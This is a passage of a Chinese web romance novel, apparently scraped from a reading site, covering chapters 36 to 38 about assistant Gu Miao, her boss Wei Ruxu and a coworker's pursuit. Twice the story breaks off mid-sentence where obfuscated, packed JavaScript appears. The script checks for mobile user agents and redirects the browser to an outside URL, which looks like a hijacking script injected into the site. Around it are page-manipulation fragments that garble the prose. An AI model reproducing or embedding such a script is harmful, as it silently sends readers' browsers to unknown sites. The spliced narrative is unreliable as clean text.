最怕空气突然安静。 可顾妙又想:“我可是处处为他考虑,没说错话吧?” 片刻后魏如栩坐正身子看她,原本板得跟棺材板似的脸,突然露出促狭的笑意。 顾妙顿时明白,气不打一处来:“你早这么想了是吧?” 魏如栩得意地抱起胳膊,装模作样地说:“当然啦!你以为我是什么无知竖子,明明什么都不懂还要充大个儿吗?当一个好老板,并不一定每件事自己都会做,但是一定要知人善任!不然请这么多人来干嘛,玩过家家?” 顾妙顿时拉下脸,什么无知竖子、知人善任,没事乱用什么成语,显得自己有文化吗? “别生气嘛顾助理,你跟老板想到一起去了,说明大家理念相同,值得庆祝,这是好事呀!”魏如栩贱兮兮地继续逗她,莫名觉得顾妙这张绷得紧紧的笑脸十分搞笑。 顾妙懒得搭理他,冷冷地说:“创意B组的聚餐时间交上来了,对照你的行程表,给你安排到了下周三晚上。” “哦,抄送我了吗?”魏如栩握着鼠标点了几下,看到邮箱里抄送他的新邮件,苗之钦写明了三个备选时间。 他疑惑地看了顾妙一眼:“周五不行?那天我好像没安排。” “抱歉老板,是我没时间,如果你允许我请假,那我就给你安排到那天。”顾妙一副公事公办的样子。 魏如栩嘴里一句“你有什么事儿”被他生生咬断,没问出口。他瞅着顾妙一副被他惹恼了的样子,知道问了她也不会说,搞不好还会丢下一句“私人时间关你屁事”糊自己一脸。 “那行吧,下周三就下周三。”魏如栩也摆出上班脸,“那你通知盛然吧,时间根据我行程表来定,提前两天通知我。” 顾妙没再说话,点了点头便出去了。之后魏如栩也没再搞什么幺蛾子,两人平静相处,直到下班。 原本魏如栩一到时间就走人,对办公室毫不留恋。可今天下班时间过去了四十五分钟,他半点要出门的意思都没有。 顾妙已经习惯了嘉栩不成文的规定,下班时间过后一个小时才走,所以她并不着急,倒是觉得今天小魏总有点奇怪。 憋了一会儿,到底没有按捺住好奇,她走进魏如栩办公室看了一眼,发现这位老板躺在沙发上睡着了,胸口还扣着一本书,好像是本教材,《广告客户管理》。 顾妙忍俊不禁,他这副样子,像极了在大学考试周里临时抱佛脚的自己。 看个教材都看困了,顾妙觉得她之前对魏如栩的判断有点失误,这货分明不是什么学霸嘛。 中央空调确实有点凉,她调高了温度,把旁边抱枕毯拆开,小心翼翼地给魏如栩盖上。 这回真不是什么母性大发,是顾妙生怕小魏总冻感冒了要她贴身服侍。 毕竟还是上司和下属,她虽然有点心疼魏如栩,但那天回去之后琢磨了一下,还是要把这个楚河汉界定定清楚。 以后如非必要,还是不要对老板过度关心了,免得惹他误会,或者……自己把持不住。 顾妙知道自己作为母胎solo+颜狗混合体,面对魏如栩这种美萌惨属性的物种,可能是毫无抵抗力。整天一起工作,至少八小时在一起,有时候很难不让自己心猿意马。 真是人的正念拦路虎啊,顾妙感叹,她可不想哪天控制不住对老板产生邪念,太不……专业了。 刚回工位坐下,车翔就跑了过来,轻轻在门口敲了两下,引起顾妙注意。 顾妙冲他笑:“翔哥下班了?” “嗯,差不多准备走了。”车翔手里拿了一张话剧票递给顾妙,“记得之前你说想看这个戏,正好我哥给我两张票,一起去吧。” “真的?!太好啦!”顾妙接过票,两眼放光,可是看到票价,眼神又黯淡了下来,“啧,不便宜呢!” 车翔笑道:“别提钱,提钱伤感情。这是我哥给我的,我也没花钱,自然也不能管你要钱。” 顾妙想看这部戏很久了,虽然是车翔邀请她,可她还是有点动心,盯着戏票发呆。 “时间你没问题吧?”车翔小心翼翼地问,“明天我开车来,下班了咱们一起过去。” “去哪儿啊?” 一听这不咸不淡的声音,顾妙心里猛地一沉,完了,拦路虎醒了。 车翔一抬头,正看见魏如栩站在办公室隔间门口,手扶着门框凹了个造型,脚底下还踩着他日常交通工具——滑板。 见两人都看向自己,他满意地挂着一脸微笑滑了过来,从顾妙手里抽过戏票看了一眼:“哟,挺有名的话剧,这么不巧,工作日的票,万一明天你得加班怎么办?” 他一边说着,一边意味不明地看向顾妙,接着偏头打量着车翔,眼睛里的笑意不甚友好。 车翔被他看得有点毛,心想这小魏总不是每天都准点下班吗,怎么今天还在这儿?他该不会看出来什么了吧? 公司虽然没什么禁止员工之间谈恋爱的明文规定,但是打总助的主意,还是有点胆大包天。 可自己身为副总助理,级别也不算太低,总是配得上总助的吧? 车翔这么一想,暗暗挺直了腰板。 之前打电话叫顾妙去KTV接魏如栩,是来自于廖玄这个中老年油腻男的恶趣味,车翔当时对顾妙没什么感觉,自然还是照领导意思办。 公司里大多数人都了解车翔的作风,其实对他很是看不上。车翔自己并没觉得有什么问题,讨好老板、尽心办事,就成狗腿了?哼,他们肯定是嫉妒我的能力。 偏偏他约等于坑过顾妙,顾妙对他还这么不抱成见,说话办事都给足了面子,嘴也甜,一口一个翔哥叫得他心口有如猫爪轻轻在挠——实在是太能刷好感了。 车翔不由地对她动了心思。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459413|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 动了心思,不是动心。 魏如栩也是个男人,车翔想什么他用脚指头想都知道,就可惜顾妙这个蠢丫头凡事不多想,一张戏票就能哄走。 果然,顾妙可怜巴巴地看着他:“老板,能提前申请不加班吗?真有事做不完我带回家熬夜成么?” 魏如栩:“……” 你不会真不知道车翔对你有意思吧? 这助理八成是坏了,有的事儿挺机灵,有的事儿上就不好使。 他一脸胃疼地看了顾妙几秒钟,把票还给她,语气轻松地说:“行,怎么不行。适当的娱乐有助于放松心情,心情好了工作效率也能提高,好好玩。” 顾妙如蒙大赦地接过票,激动之情溢于言表,就差冲他埋头作揖了。 魏如栩刚滑出去两步,又回过头来看她,表情一言难尽地说:“以后调高空调,就不用给我盖毯子了。给我搞中暑了你也一样得当保姆。” 顾妙一脸懵逼地看着小魏总滑向楼梯,心里暗暗有点郁闷。 这家伙是能读懂脑电波吗? 车翔看着发愣的顾妙:“那就这么定了?” 顾妙回过神来:“哦!好的好的,谢谢你啊翔哥。” 魏如栩表面云淡风轻,心里却十分不爽,抄着口袋进了电梯。 电梯门快要关上的时候,盛然加快脚步了进来,其他员工看见俩上级在电梯里,自动选择等下一趟。 盛然主动打招呼:“小魏总。” 魏如栩冲他一笑,点了一下头。 “爱伴宠物的事估计得下周了,这周我这边时间安排得有点满。”盛然满怀歉意,“本来应该我这边接手跟对方市场部沟通,可是我助理请了几天病假,看来还是得麻烦顾助理。” “没事,她能搞定。”魏如栩看了盛然一眼,眼珠转了转,“助理请假了?忙得过来吗?” 盛然:“其他还好,就是明天要出趟短差,本来应该带助理跟着整理一下资料——哦,是去DB彩妆做提案。” “要不你去找廖叔叔借车翔帮你两天?”魏如栩装模作样,一脸欣赏,“他聪明又会来事儿,肯定没问题。” “找廖总借?”盛然有点迟疑。 魏如栩公事公办地说:“出差的事儿更重要,廖叔叔一定会借给你。不行公司这边我让顾妙帮他照应着。你不是短差吗?第二天就回来了吧?” “对,明天去,后天回。”盛然沉吟着,正好到了一楼,他拦住电梯让魏如栩下去,“行,那事不宜迟,我这就上去问问廖总。” 魏如栩冲他摆摆手,看电梯门缓缓关上,嘴角一挑,露出个坏笑。 对我的人也敢动心思,嫌命长啊车翔同学。 顾妙回到家,凌晏如已经做好了菜端上桌,顾肖正在摆碗筷。 “姐,你啥啥不行,掐饭点儿那是一个准。”顾肖日常损顾妙,找揍能力一级甲等。 顾妙拿起筷子冲他脑门轻轻一抽:“怎么说话呢?这是小姨体贴我,掐着我回来的点做的饭,对吧小姨?” 凌晏如解下围裙落座,看着这姐弟俩:“嘿,光看你俩说相声就够下饭的。” 顾妙饿得能吃下一头羊,冲凌晏如卖好地一笑,去洗了手,回来看见顾肖要动她的鸡大腿,立刻上手抢。 “哎?怎么回事,敢跟你皇姐抢鸡腿?” 顾肖乖乖缩回筷子:“皇姐你腿上肌肉够发达了,再补就没法看了。小姨,咱们明天做天麻炖猪脑给姐补补怎么样?” 顾妙嘴里被鸡腿占着地方,只能向顾肖发射死亡射线。 可惜顾肖同学自带防护罩,完全不在怕的。 凌晏如吃着菜:“你俩拌嘴别扯上我,我买的是观众票。” “两位女同学,跟你们说个事儿。”顾肖转换了话题,“周五送行宴,我邀请了魏如栩同学一起参加。” 顾妙:“?” 凌晏如笑着看了顾妙一眼:“行啊,我没意见。” 顾妙松开咬在鸡腿上的嘴:“我有意见!” 顾肖瞥了她一眼:“有意见保留。” “一家人吃饭,你请我老板来干什么?”顾妙目前不想撕鸡腿,很想手撕弟弟,“成心跟我过不去吗?我不想跟老板走得太近,这样公私不分是职场大忌!” 顾肖:“嘁,才上几天班啊还说职场大忌。只要你心里公私分明,别人怎么样都影响不到你。再说了,还是你介绍我俩认识的,现在我俩关系好,你还不乐意了?再说这是我的送行宴,请谁你说了不算。” 顾妙向凌晏如求救:“小姨,你看他!胳膊肘往外拐!” 凌晏如刚收到一条微信,正有点心烦:“你俩慢慢吵,我下楼一趟。” “是谁啊?吃完饭再说不行吗?”顾妙有点疑惑。 凌晏如没回话,换了双人字拖下楼了。 顾肖:“你说会不会是你们那盛总?” 顾妙:“……什么意思?” 顾肖眨了眨眼:“上次你们去‘救’我们,我就感觉到他俩之间很来电。” 顾妙暴汗,亲弟啊你这脑子过暑假,聪明劲儿怎么都用在八卦上了? “真够能掰的,有本事你自己问小姨去。”顾妙板起脸来,“换个话题。” 顾肖:“没问题。姐,我问你,你对魏如栩到底有意思吗?” 顾妙:“……” 还是把话题换回来吧。 37. 第三十七章 没头脑和不高兴 顾肖见顾妙一脸空白,继续在死亡边缘反复试探。 “我可还记着你刚见他第一面,就色令智昏对人家什么都答应了。”顾肖促狭地说,“现在近水楼台,这月亮不摘你等着送人吗?” “月亮再好也不见得要摘,”顾妙低头吃饭,“留他在天上独自美丽难道不是更好?” 顾肖饶有兴趣地打量着她:“姐,跟我就别背诗了吧。” 顾妙冷冷看着他:“那你跟盛缘怎么样了?表白了吗?” “又逃避话题,”顾肖无奈地叹口气,“再这样我真觉得你有问题了。” 顾妙:“你要说你和盛缘的发展情况,我就跟你说我怎么想的。这叫公平。” 顾肖静静地看了她一会儿,面色十分严肃:“我俩状况跟你不一样。刚迈进大学校门,对彼此未来的规划也都不清楚,随便谈个恋爱倒也没什么,谁不是大学没上完就分手了——可是我不太想那样。” “这么认真?”顾妙诧异地看着他,“你想怎么样?一次定终身?” “对啊?不行吗?”顾肖脸上丝毫没有开玩笑的意思,“虽然来说成功率并不高,但我想试试。” 顾妙依旧很震惊:“没想到你还是个情圣。” “跟这没关系。”顾肖摆摆手,“谈恋爱、维系感情是很磨人的一件事情,需要付出很多的耐心和心思,如果失败再尝试、失败再尝试,太占用系统资源,是非常不理智的一种行为。” “我认真付出感情,希望一次定终身,对双方来说,都是系统最优的选择,剩下的精力,大家就可以用在别的地方,生活也好、工作也罢,资源能够得到最大限度的平均分配,而不是只浪费在感情上。这样对大家来说不是最好的吗?” “……老弟,我不知道该怎么评价你这个理论,听起来很有道理,但还是有点气人。”顾妙闷闷地说,“面对感情这么理性的话,实在是有点……别扭。人家盛缘就未必这么理性。” 顾肖满不在乎地说:“所以我们还在进一步了解中,我不表白,也是不想用什么关系捆住她。她如果对我失去了兴趣,随时可以转身离开,双方及时止损。” 顾妙冷笑:“这话你可千万别跟她说,我怕她听了会立即止损。” “我又不傻,况且她也不像你这么没脑子,这种试探是相互的,双方都有足够的自由权限。”顾肖躲过顾妙的一记爆栗,得意地冲她挤挤眼,“恋爱婚姻失败导致全部推翻重来的事太多了,是一种令人无法忍受的资源浪费——不然你看小姨,如果她不被那傻叉前姨夫耽误,现在会过得更好。” 顾妙下意识地冲大门口瞥了一眼:“你留着等小姨回来再说啊,看她会不会掀掉你天灵盖。” “小姨比你看得开,才不会在意这种细节,说不定她还会赞同我。” “看过那么多故事,男人们不都爱喜新厌旧吗?”顾妙端着她这刚刚长开的弟弟,“怎么就你奇葩?我都不知道该高兴还是该担心。” “聪明的男人即便喜新厌旧,也会权衡代价——当然我是死理性派,浪漫主义的人听了可能会拍死我。”顾肖一副很有心得的样子,“征服欲是刻在男人Y染色体上的,但表现出来的各有不同。成熟智慧型,比如我,会以征服世界难题、技术难关、崇山峻岭等大格局事物为目标,最终其实挑战和征服的是自己的极限。只有loser才会以不断换配偶来妄图证明自己Y染色体没白瞎。” 顾妙:“滴!危险发言,有物化女性的嫌疑。” “真正物化女性的正是那些loser啊亲姐。当然有部分成功人士依旧管不住自己,是因为平日里生活压抑需要找一些方式发泄,这些人还没有超脱他们的动物属性,在此就不予置评了。自控是人最优秀的品质之一,这是我的观点。” 顾肖放下筷子,抽了张纸巾擦擦嘴,人模狗样地说:“我发言完毕,现在到你了。” 顾妙:“……” 就是不能跟这种脑子自带逻辑闭环的人说话,就算你把话题一笔支到河外星系去,他也能给你拉回来。 “你既然这么理性,那我也理性回答你。”顾妙抱起胳膊,摆出个总结陈词的架势,“我不打算跟顶着我‘老板’头衔的人发展任何超越工作和友情的关系。原因有三。” “第一,我脑子的处理器比较低端,处理不了过于复杂的关系;第二,我不想因为什么奇怪的‘霸道总裁爱上我’的想法而毁掉这份很能提高我自身能力的工作;第三,我跟你一样,不想在感情上多次试错,所以希望跟和我差不多的人在一起,不想去高攀任何人。这回答你满意吗?” 顾肖瘪了瘪嘴:“行吧,有样学样你倒掌握得挺快。但是有一点,我并不觉得如果你跟魏如栩在一起的话算是高攀,撇去身份背景不谈,你比他强韧,他比你城府深,一个没头脑一个不高兴,你俩恰好互补,还可以互相纠错。” 顾妙瞪起眼:“互补的人多了,能这样随便拉郎配吗?我警告你啊,别跟我老板瞎说什么。” “就算他对你有想法,我还得好好审查他呢。”顾肖冲顾妙翻了个白眼,“好歹我也是你娘家人,当然是站在你这边。” 顾妙起身,笑眯眯地伸手摩挲了一下顾肖的头顶:“乖,这样才对嘛!” 顾肖烦躁地一甩脑袋,凌晏如手里拿了个信封回来了,表情有点一言难尽。 “小姨,怎么了?”顾肖好奇心巨旺盛,“你手里拿的什么?” 凌晏如把信封放在桌上,被顾妙一把抢走。 “一张话剧票。”凌晏如说,“……朋友刚给的。” 顾肖:“就给一张?什么朋友啊这么小气。” 顾妙抽出票来一看,竟然是跟自己的票挨着的,试探性地冲凌晏如使了个眼神。 凌晏如接收到了信号,无奈地说:“嗯啊……说是助理的票,可临时要抽调这助理出差,票没人看的话就作废了,浪费可惜,就要来给我了。” 顾妙掏出手机,果然看到很久之前车翔发来的消息,遗憾地通知她,说他明天突然要出差,票转让给别人了,只好下次再约。 她想象了一下此刻车翔的脸,想必已经绿了,一下没绷住,“噗嗤”一声笑了出来。 “这么巧,正好今天同事也给我一张票,跟你是挨着的,明天咱俩可以一起去了。”顾妙笑嘻嘻地冲凌晏如挤眉弄眼。 顾肖观察着两人的表情,狐疑地说:“这么巧吗?一定有猫腻。” 凌晏如跟顾妙对视半晌,无奈地对顾肖说:“好啦!不瞒你,我这朋友就是那个盛然,盛总,他在追我。” 顾肖平静地点点头:“这样就能解释通了。” 顾妙咋舌,小姨真会说话,乱搞说成一夜风流,还有点转正的意思,这以身作则做得都快歪到姥姥家了。 “姐,谁给你的票?只给一张,是想约你吗?票号还跟小姨这张挨在一起……”顾肖坏笑着问,“那个助理约你?” 顾妙扶额:“脑子转这么快,你将来当狗仔去吧!” 凌晏如一听也来了兴趣:“妙妙,行啊,公司里有人追你?那人怎么样?帅吗?” 顾妙瞟了一眼顾肖:“就上次去KTV接我老板的时候碰见的那个人。” “卧槽,是那个猪板油?”顾肖想起车翔看自己的那一眼就有点生理反胃,大致跟凌晏如描述了一下当天的情况,听得她也直皱眉。 凌晏如想起自己上班时候的所见所闻,叮嘱顾妙:“对付这种人你可得小心。” “那是自然,我这不也掂量着呢吗。”顾妙摊了摊手,“只是被这张票给吸引了,这么贵的前排票我可舍不得买。反正那家伙也没表示什么,我就装傻充愣呗。” 凌晏如:“也对,有魏如栩这尊大佛摆在那,单方面拉高了姑娘们的选择标准,稍差点的估计都入不了眼。” 顾肖:“小姨,甭想了,我姐就怕自己爱上霸道总裁,逼着我也跟魏如栩保持距离呢。” 顾妙:“?我什么时候让你俩保持距离了?” 顾肖这个混账夸大其词胡言乱语,论罪当诛! 还笑,看我不扯烂你的嘴! 凌晏如一边吃饭,一边含笑瞥了顾妙一眼:“要是这么强烈抗拒,说明你可能已经动心了。” 顾妙一脸黑线:“……小姨,还能好好做朋友吗?” “不开玩笑,你也不用这么紧张,反正你跟魏如栩抬头不见低头见,要总是想避开反而刻意,会给你自己不好的心理暗示,显得你对他很在意似的。” 凌晏如十分认真地分析:“有时候两个人互相不来电,就有可能因为太熟悉反而被限制在友情区。所以你顺其自然,多了解他,说不定就不会产生化学反应了。” “有道理啊小姨,果然家有一老,如有一宝!”顾妙抱着凌晏如的脸亲了一下,逃一般地跑了。 “你说谁老?!”凌晏如狠狠擦了把脸,嘟囔道,“擦嘴没,弄我一脸油。” 顾肖在一旁露出高深莫测的笑:“小姨,你坑外甥女的手段可真高!喜欢和不喜欢,两种概率各占百分之五十,你怎么知道他们一定会进友情区?” 凌晏如一撩眼皮:“分析要走人设好吗?以你姐的性格,纠结的事儿会越纠结,不纠结反而会处理得很好,我现在是要把她推离纠结区,有的事情不宜提前焦虑。” “唉,谈情说爱真是费劲。”顾肖突然就唱起了《新鸳鸯蝴蝶梦》,“爱情两个字好辛苦~” 第二天上班,顾妙跟着魏如栩一起跟大佬们开完了策划会,好不容易挨到散会,想赶紧回去整理那令她神魂颠倒的会议记录,谁知还没出会议室,就被车翔叫住了。 车翔歉意地说:“抱歉啊小顾,这次是我邀请你,可偏偏我又放了你鸽子……” “这有什么,工作重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459414|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要!听说是盛总抽你去跟他出差的是吧?说明领导看重你的工作能力呀!况且票你已经给了我,我还是能去看的。是你比较遗憾才对。”顾妙善解人意地笑笑,“下午出发对吗?一路顺风!” “谢谢。呃……能不能给我一个补偿的机会呢?”车翔目光灼灼地看着她,“等我回来请你吃饭怎么样?反正明天我就回来了。行吧,妙妙?我能叫你妙妙吗?总叫小顾显得太生分了。” 这一声“妙妙”叫得顾妙头皮一炸,浑身鸡皮疙瘩掉满地,还没想好怎么拒绝,就听见魏如栩那不咸不淡的声音传了过来。 “我的妈,一个大男人整天喵喵的,太肉麻了吧?”魏如栩一脸嫌弃地站在拐角处看着他们,“要么叫小顾,要么叫顾助理,再不然就顾妙——别逼我让你们都取英文名啊!” 车翔:“……” 小魏总怎么神出鬼没的? 顾妙看见车翔的表情,实在忍不住,低头憋着笑。 魏如栩:“顾助理,愣着干什么?我还等着你的会议记录呢!” “哦!”顾妙赶紧丢给车翔一个无奈的表情,迈着小碎步跟上魏如栩。 她坐回工位,却发现魏如栩抄着口袋在隔间门口磨蹭着,并不往办公室里走,于是直接抬头看向他,果然对上他一双犹疑的眼神,仿佛他有什么话想说,却难以启齿似的。 顾妙:“?” 魏如栩:“……” 顾妙:“老板还有什么指示吗?” 魏如栩:“……公司虽然并不禁止员工之间谈恋爱,但……车翔……不太适合你……” 噫,这话出口感觉更别扭了,显得自己很像廖玄。 顾妙茫然:“谁要跟他谈恋爱?” “他这么明显在追你,你也不拒绝他?” “他什么都没说,我怎么拒绝?”顾妙觉得魏如栩脑子有点不好使,“不会显得我太自作多情了么?” 魏如栩心想,坏了,过分代入了。 看到顾妙单纯无邪的目光,魏如栩觉得自己是个大油缸,脸一烫,转身就往办公室里躲。 顾妙发现他不对劲,冷静一想,突然明白了什么似地起身跟了过去:“老板,是你让盛总借调车翔出差的?” 魏如栩正在喝冰水,试图冷却自己过热的大脑仁,听到顾妙这么一问,连忙摆手:“我只是建议,没有让。这两个词你要分清楚。我怎么可能利用职权之便干这种事呢?” “什么叫利用职权之便,本来你就有权啊!”顾妙笑嘻嘻地说,“保护女下属不被男同事骚扰,老板你真是威武雄壮!” “威武雄壮”的魏如栩心里欲哭无泪,正觉得自己手伸得太长有点刻意,但想想要是顾妙真跟车翔一起去看话剧,那是无论如何也忍不了的。 顾妙没心没肺地补充了一句:“我是不会跟同事谈恋爱的,兔子还不吃窝边草呢,万一闹出矛盾岂不影响工作。上班别的都好说,就这种乱七八糟的事儿最难处理。要是不小心得罪人就麻烦了。” “你是我助理,得罪就得罪了,谁敢把你怎么样?”魏如栩脱口而出。 “嘁,口气这么大。我又不是你,别人多得是办法给我穿小鞋。”顾妙想了想,“还有,我如果犯错的话,说不定会被人利用,成为攻击你的口实。你不怕廖总挑你毛病了?” 魏如栩气壮山河:“不怕!” 顾妙静静地看着他,脸上挂着明晃晃的“不相信”。 魏如栩尴尬地挠了挠头,抄着口袋走向大班椅坐下。 “其实想想,我之前的有些想法很幼稚,可能有点被害妄想了。”魏如栩翘着二郎腿,靠在椅子上晃着,目光望着虚空中的某一点,“我的任务是搞好公司,不是跟谁作对,如果他对公司没有坏心,我自然也能跟他合作,向他学习。” 顾妙目光在魏如栩脸上转了一圈,突然蹲了下去。 被办公桌挡着,魏如栩不知道她在干什么,站起来向前探身看了一眼,见她正在认真绑鞋带。 魏如栩:“……” 顾妙起身,看到魏如栩的空白表情,笑了笑:“老板你进步得太快了,我得绑好鞋带奋起直追啊!” “废话这么多,快滚出去弄你的会议记录!”魏如栩被她这一笑搞得心烦意乱,送给她一记白眼。 顾妙吐了吐舌头,转头便走,到隔间门口还顺手牵羊,从小吧台上抓了一把奶精球,冲魏如栩挤眉弄眼地坏笑了一下跑了出去。 魏如栩无语了,冰箱里有鲜奶她不喝,就爱吃这没营养的奶精球,不知道是不是上学的时候吃过太多地沟油外卖,把口味吃坏了。 还自称有精品咖啡师资格证呢,杯测的时候还能尝出好坏来吗? 揶揄归揶揄,想起她刚刚说的不会跟同事谈恋爱,他觉得挺放心,也知道以顾妙的大智若愚,应该处理得好。 但……还是莫名有点失落。 38. 第三十八章 顾助理惨遭嫌弃 上班一个月,最初顾妙和魏如栩都有点无事可做,是因为廖玄之前主持了公司大局,在大家还有点搞不清状况的时候,各部门做事首先都会去请教廖玄,因此副总经理办公室那边常常忙得团团转。 现在随着魏如栩跟廖玄之间关系的缓和,廖玄也不太好意思什么事都自己管,否则就真像要夺权似的了,于是不管是真谦虚还是假客套,他也屡次在会上说一切按公司章程来,什么事该找谁汇报就找谁汇报。 但魏如栩也表示,自己确实对于管理公司不是很上手,便让大家有急事请示直接找廖玄拍板,便宜从事,随后可以形成书面报告发给总经理办公室,如果不是急事,就按正常程序直接来找他。 所以魏如栩和顾妙也慢慢忙了起来。 魏如栩还好说,决策类的一旦他搞不定,就会让顾妙组织会议大家来商量。这个办法比较拉好感,各部门老大会觉得他是一个虚心学习的后辈,不会对他太过于抵触,平时做事也愿意多教他。 顾妙就没有这样的好运气了。 一般刚毕业的学生一进公司都是从基层做起,比如祝商祺他们,上边都会有老员工来带,比如苗之钦。 即便去做助理的,也是从部门领导助理开始,会有前任助理带一段时间再独自上道。如果有的比较幸运,一下子能做到总助,大致也是因为这总经理不止一个助理,所以去了也会有老员工带路。 这些对于顾妙来说都没有,她有时候真觉得这从天上掉下来的未必是馅饼,可能是馅饼砸出的坑。 她也不明白,老魏总既然去养病,把他那经验丰富的高助理留下不成么,连个放心的人都不留给魏如栩,这心也忒大了。 作为总助,顾妙的工作十分细碎,什么活都有可能落到她手里,各种资料、报告、报表、合同递交到总经理办公室后都先经过她,她要自己研究透了才交给魏如栩,免得老板发问她答不上来。 其实魏如栩知道她也是新手,不会这么为难她,顶多就是两人商量一起研究,反正互相知道对方底细,谁也不会嘲笑谁,只要不在外人面前露怯就行。 但顾妙不肯,虽然她工作时间不长,但算上打工生涯,也从没因为自己的问题拖过后腿。 顾妙知道自己的斤两,从小到大都是中不溜儿,从没像顾肖那样优秀过,所以她对自己的要求也不高,以合格为标准,以优秀为目标,脚踏实地,是自己分内的事儿,无论如何也要妥善完成。 魏如栩也知道她很努力在工作,这些小细节在有心人眼里永远不会被漏掉。 比如顾妙把午饭时间压缩到十分钟,在休息区狼吞虎咽吃完就跑回办公室继续工作; 比如魏如栩偶然间问起顾肖,才知道每天下班回去吃完晚饭,顾妙就会钻进卧室一直看相关专业书,尤其是会计知识,她想把过去丢下的功课补回来。 再比如,顾妙甚至还报了一个班学习怎么制作PPT,因为她知道小魏总学艺术出身,对于那些丑得辣眼的PPT毫无容忍度。况且他们又是广告公司,如果连PPT都做不成样,拿出去着实丢人。 可谁都能劝她悠着点,就身为老板的魏如栩不适合说这样的话。 他也知道,很多人都觉得顾妙不合格,最起码从经验资历方面就不适合做总经理助理,如果他再对她过于包容,一定会招人口实。 况且,就算他说了,顾妙那个驴脾气也不会听,根本就是白白浪费口舌。 不过先前顾妙说的那句话也对,反正学到她脑子里的东西不会被人剥削走,现在辛苦点,以后的路会更好走一些。 想到这里,魏如栩莫名就会想,如果老爸回来了,自己这个总经理还会继续做下去吗?如果自己不干了,那顾妙将来会怎么样? 他倒不担心她失业,这丫头经过这些锻炼,以她的悟性和耐性,再找工作易如反掌,如果她愿意在嘉栩继续工作,老爸肯定不会亏待她。 可魏如栩不太想跟她分开,往大里说,这是他人生第一次为什么事而努力,而顾妙是他第一个战友,这种感情实在难以割舍。 往小里说……小魏总想起顾妙亲口说的“不跟同事谈恋爱”,就不愿再深想了。 嗐,反正往后自己也要工作的,不管是自己创业还是怎样,把她带在身边就是了。 只要有自己一碗饭吃,就让顾妙吃得不比他差。 顾妙可不知道她小魏总这些弯弯绕绕的心思,她一直心虚得很,总觉得案头工作她还没能驾轻就熟,更别提她也曾积极地在网上搜索过,身为总助,更重要的职责还有协调各部门间人际关系。 想想嘉栩目前的状况,她的脑袋就疼。 好在大家也都知道魏如栩刚上任,对工作中的一些只可意会不可言传的事情还get不到点子上,所以有事往往都是直接找廖玄,毕竟副总经理在职权上也有这方面的责任。 正如小魏总跟盛然说的那样,车翔被盛然借出去两天,顾妙就要帮他照应着廖玄那边的工作。 不照应不知道,顾妙才发现车翔入得了廖玄的眼,可真不是因为会拍马屁会手冲咖啡。 廖玄这个人,极其难伺候,事儿逼+矫情,说话还尖酸刻薄得要命,嫌顾妙汇报说话没重点没逻辑,听了等于没听。 顾妙受到从业以来的最严重指责,低头乖乖听着,整个人站成一座雕塑。 他过两天要出差,让顾妙给他订机票和酒店。顾妙不好追在他屁股后头问个人信息,就只能向车翔求助。 车翔倒也大方,趁着在火车上,还比较有空,替顾妙把这事儿办了。 谁知一个下午,廖玄的行程改了三回,顾妙没办法,只能屡次麻烦车翔。 车翔对这种局面已经见怪不怪,调侃着说“廖总要是不变他还觉得奇怪呢”,几次重新给廖玄定了机酒。 搞得顾妙觉得自己莫名其妙就欠了车翔的人情,着实有点麻烦。 廖玄下午跟客户部和策划部做了提案内部演练,顾妙全程跟着做会议记录。 这次提案的项目是廖玄亲自跟进的,也是新拉来的重点客户,所以他格外重视。 或许是因为策划部和创意部对这个客户的调性还不是特别熟悉,又或者可能因为廖玄特别挑剔,总体而言,这个内部演练没有达标,廖玄当场发了很大的脾气。 “就这种东西,敢拿到客户面前去丢人现眼?”廖玄那一头骚气的花白头发突破了发胶的限制,伴随着他洪亮的嗓门一直抖动不停,“包鑫,你们策划部跟我们有仇吗?我问你,这个提案叶磊和谈彬锐看没看过?” 这个提案正是A组负责,包鑫被当众点名,但他什么都不敢说,只是低着头沉默。 敢把锅推到老大头上,他是不想活了么? 廖玄从客户经理骂到文案,连PPT上有个标点符号格式不对都挑出来说了半天,搞得在场所有人全部瑟瑟发抖,整个会议室俨然变成了个鹌鹑窝。 骂完人之后,廖玄扔下一句“全部重做”便摔门而去,过了半分钟,各部门的人才集体解冻,窸窸窣窣地开始收拾东西,同时还小声地说着什么。 可惜他们声音压得再低,顾妙也能听见。 客户经理跟包鑫说:“提案的PPT早就发给廖总了,既然有这样那样的问题——要是车翔在的话,估计一早就能提醒我们。” 包鑫有意无意地看了顾妙一眼,话里有话地说:“这不是人不在嘛!” “车助理能干的事儿,总助还做不好吗?这么点察言观色的本事都没有?”一个高级策划一脸怨气,似乎也完全不在意顾妙听得见听不见,“这可是最基本的协调工作。” 包鑫轻轻用胳膊肘捣了高级策划一下:“说什么呢?自己工作没做好,赖别人?” 高级策划知趣地闭了嘴,但那目光犹如实质,小刀一样地刮在顾妙脸上。 顾妙没整理自己的电脑,她看上去是握着鼠标看着会议记录,大脑却是一片空白,手瞬间变得冰凉。 这事儿真的是要她来提前通风报信的吗?可是廖玄对那个PPT到底有什么看法,并没跟自己透露过半句啊。 是自己没觉察到吗? 如果真的觉察到了,应该给客户经理和策划他们提前吹风吗? 车翔平时是怎么做的呢?但提案做得不好,再怎么放小道消息,廖玄还是会生气的吧? 她想来想去,心里隐约有点委屈,总觉得这不是自己的锅,却又无从辩白,只好咬着嘴唇不说话,默默等着其他参会人员离开会议室。 